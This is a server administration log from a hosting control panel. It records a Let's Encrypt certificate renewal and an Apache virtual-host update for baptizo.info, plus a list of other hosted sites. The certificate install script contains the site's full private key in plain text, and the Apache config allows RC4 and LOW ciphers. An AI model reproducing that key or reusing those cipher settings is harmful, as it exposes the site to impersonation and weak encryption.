MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 14:26:18: Establishing a connection
2026-05-07 14:26:19: Establishing a connection
2026-05-07 14:26:19: 

PUT: /tmp/pkp327265

#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-07 14:26:19: 

chmod 755 /tmp/pkp327265; /tmp/pkp327265; rm /tmp/pkp327265

2026-05-07 14:26:19: 


1


2026-05-07 14:26:21: Establishing a connection
2026-05-07 14:26:21: 

PUT: /tmp/pkp563661

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > XME10Bxy3OTiteGXpuKZS0WYeqG-M8FZZ_VdAU4ghfw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XME10Bxy3OTiteGXpuKZS0WYeqG-M8FZZ_VdAU4ghfw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XME10Bxy3OTiteGXpuKZS0WYeqG-M8FZZ_VdAU4ghfw
cat > k2IEwL0rWa6tzRvnkvb8MOXUZXuqvsxL3hynA1OCBJg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k2IEwL0rWa6tzRvnkvb8MOXUZXuqvsxL3hynA1OCBJg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k2IEwL0rWa6tzRvnkvb8MOXUZXuqvsxL3hynA1OCBJg


2026-05-07 14:26:21: 

chmod 755 /tmp/pkp563661; /tmp/pkp563661; rm /tmp/pkp563661

2026-05-07 14:26:21: 




2026-05-07 14:26:31: Establishing a connection
2026-05-07 14:26:31: 

PUT: /tmp/pkp604393

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm XME10Bxy3OTiteGXpuKZS0WYeqG-M8FZZ_VdAU4ghfw
rm k2IEwL0rWa6tzRvnkvb8MOXUZXuqvsxL3hynA1OCBJg


2026-05-07 14:26:31: 

chmod 755 /tmp/pkp604393; /tmp/pkp604393; rm /tmp/pkp604393

2026-05-07 14:26:31: 




2026-05-07 14:26:31: Establishing a connection
2026-05-07 14:26:32: 

PUT: /tmp/pkp991041

#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt

cat > $temp_file <<'endmsg'
e0:94:93:cc:0e:1c:f6:f9:1f:a3:a4:bd:9b:00:90:c2

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBgdSx0c8jqIdnVqxIUU1m7GYMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA3MTMyODAwWhcNMjYwODA1MTMyNzU5WjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
1mF9Fzgim9XyXotbsl58lijK08Gk2bTgQOQshlYSg3Hd/cjsl6q+WQoPI3TAPr1e
26b85uHTZpoScYDyX34ZCt1QeS1oaxKN+YFrg9plCe+BMLHrG9JAhkUv5J9VQY3W
Kt8C8mzq5lmHWkYd2nKr2igQCn8WWMgWgJcGDM0BOxm33tBm+lOHsjThp/ivJcWt
er5iOOq7T/c0jvcsm8+rSgq0urc9duT05mlyxvPlZ+uxTIjDmM/zq486qULOIjzF
NlQ84gGujHIRMXSkpVCzcKSrc3mTuX+Hl7XPDOdDGLmYPzccO5KzXhIKiUeADNQw
RAAjNhFQH9G5Yn6FZ0NVAgMBAAGjggIsMIICKDAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU9W/ZwpeY
UKb/kalaDJRdsmoSG1wwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxiYXB0aXpvLmluZm+CEHd3dy5iYXB0aXpvLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy8yNS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDX
bX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ4C1UE/AAAEAwBHMEUC
IQDgnLh2stftz5m8LS9o3Rc3EiSJINDMGf/ZlimPAKeEnwIgSmFrCsJvFpWFAcVV
Qpu6970nhhMjWD1Wd5SvIqz3WQYAfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDR
c4CeGBjrOgAAAZ4C1UJvAAgAAAUACmx6LwQDAEcwRQIgRX5ue7H87ttBghmrX59l
olVfCyfMPt5HGhS24gGvE5gCIQC7ijCBe4tWvlaEU8AkvV0tS7g27QkaCvNZ7IDt
9oGEoTANBgkqhkiG9w0BAQsFAAOCAQEAOscfZTZriq8VkMUVXbA16Ue/rLJg+Lmg
nTW6r8TyEa5FcWfABip27X81nDv9epjlIsQeeBHwFSdvZ5/U5pGTOyYiNJ/JhbJ7
bsxw3Yy9fb77CLIcThR+l5fsAXz8H5q00p7rr1uE3MRQyKm/qmRIQJl1pgeZ5Lx9
mXzSN5/STijsFFjoHo0FaGSIwqDBpwRuyAt6IGOvQom8rQ0PBxWh1Io6VvVA2sD2
/v+fL587UQ7XSF/bAJDpO+A4HeqKf8+1OTfJhE1KYm3Kr+TWfSrfKBaKNmubzOKk
lXmHVE84irA4HUjKEJ6SKvV1qQuA8I1O3rXR82JUIrni1RJHZ71aHQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCV1mF9Fzgim9Xy
Xotbsl58lijK08Gk2bTgQOQshlYSg3Hd/cjsl6q+WQoPI3TAPr1e26b85uHTZpoS
cYDyX34ZCt1QeS1oaxKN+YFrg9plCe+BMLHrG9JAhkUv5J9VQY3WKt8C8mzq5lmH
WkYd2nKr2igQCn8WWMgWgJcGDM0BOxm33tBm+lOHsjThp/ivJcWter5iOOq7T/c0
jvcsm8+rSgq0urc9duT05mlyxvPlZ+uxTIjDmM/zq486qULOIjzFNlQ84gGujHIR
MXSkpVCzcKSrc3mTuX+Hl7XPDOdDGLmYPzccO5KzXhIKiUeADNQwRAAjNhFQH9G5
Yn6FZ0NVAgMBAAECggEAJW1BOK++E9b9H+dBxAvP0irn0ZIHQpgmuAU9eWmswj8X
CC5GK+LOgXFYM+PVW9fQEYuoMG+zZMyyG31CikgUBUlTcrByCS0Fm3UBQMvUl3xd
2NVC+8kdQYTIb2gZ7H/NX/uhbOkFD7+uCUMhVH+mOQrrCua0S+6tPAGut5Im+vFY
aVmKcgpmiB9OKPgQqyEnilqjuXvN57iUOYd3wV/kEoZJjhMaLRKf3upECJJi/DjL
yd0yIuE1W/UohwVzcrRnjfodT2WVs5ifAG0/yjwNC8Ga0MbT8db3KylXVCE2PB/l
2mw5iaVz8GDCUETm+Xg1MQtvyx/J84qprlCxjuEr2QKBgQDEbmz+HrJzOAmKczEP
AhQvxiR7zPvolHm8DeoQPzhMwJeVmOH5t85KqjCukIHTsVNx1ODd0D3wZstVbhmT
1kPaE/yV/W8t0khlaPJT+AALBbjKthkA4h0soGcd3wPx4aOv1MRCZLG3vgDnEGT9
GhiVA/EhRFVHMqd2XS5wHAk+0wKBgQDDRrlqw09nqy1WUvf/XQjJTIut9DusTfTa
EPlkRXAv5uAuywRuE5RyG8Lp+Th3NK17She4lgkUs9atxTYpgg0z5XZ+Y28ep+dN
+lgVRDcQctheyOIrfg1nmzXvJTpuvqjlMjLdGuOgQTL2+qeKImi+Aw9UvmtcIBZ5
DsmfotesNwKBgBwjZWGRrCZtJJC8p45q0dF2JMvHNV6/xiB2Lc1eAQadoBlB6T0I
Y3i2oHqhILfecwGfaQbdScIiN4ZpWyieTOH0cv5Za4+4y74bJnt4zyjFDQ+cvkAu
I9e8sojI5ZvEotoRNHv+SKb1hNOUuaK4FkViZyxIyZ6FVw/RkVFl8r0ZAoGAMnUF
2AZbcCgU8OdDWWKKsKjstqgS+zSxfd9A8Z3XnSkE6FJg9KhuhQWTWa2h33tnECJW
+sUZ15WYdRIuKo+GJdC2y3WZ8svjwoxbUjNsHv3t1qAFgMNzZz/9satm69KsBXzx
E5ytEG2IY7TksZauhdp4jaceSpGn/OPLSUpkfAUCgYEAwtHFmLwmjfwuDWaBCd1r
ymW1tjx1W16USwc4xZxywPrvbYszMDqyeuojGDIrwwi4OLdZQWZ/KM+4UP6vbxmd
hfulGhxRQM20J9hBoMNjA/9c/g9xBXtDnQuhFqThj2m2sWY/ZPZxFh8FVsvhgRRF
gCPdb6/j4JWyDr8vvDLYSkQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-07 14:26:32: 

chmod 755 /tmp/pkp991041; /tmp/pkp991041; rm /tmp/pkp991041

2026-05-07 14:26:32: 


dir=/etc/ssl/certs


2026-05-07 14:26:32: 

PUT: /tmp/pkp662104

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 14:26:32: 

chmod 755 /tmp/pkp662104; /tmp/pkp662104; rm /tmp/pkp662104

2026-05-07 14:26:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-07 14:26:32: 

PUT: /tmp/pkp493937

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi


2026-05-07 14:26:32: 

chmod 755 /tmp/pkp493937; /tmp/pkp493937; rm /tmp/pkp493937

2026-05-07 14:26:32: 




2026-05-07 14:26:32: 

PUT: /tmp/pkp691141

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-07 14:26:32: 

chmod 755 /tmp/pkp691141; /tmp/pkp691141; rm /tmp/pkp691141

2026-05-07 14:26:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-07 14:26:32: Establishing a connection
2026-05-07 14:26:32: 

PUT: /tmp/pkp807100

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-07 14:26:32: 

chmod 755 /tmp/pkp807100; /tmp/pkp807100; rm /tmp/pkp807100

2026-05-07 14:26:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
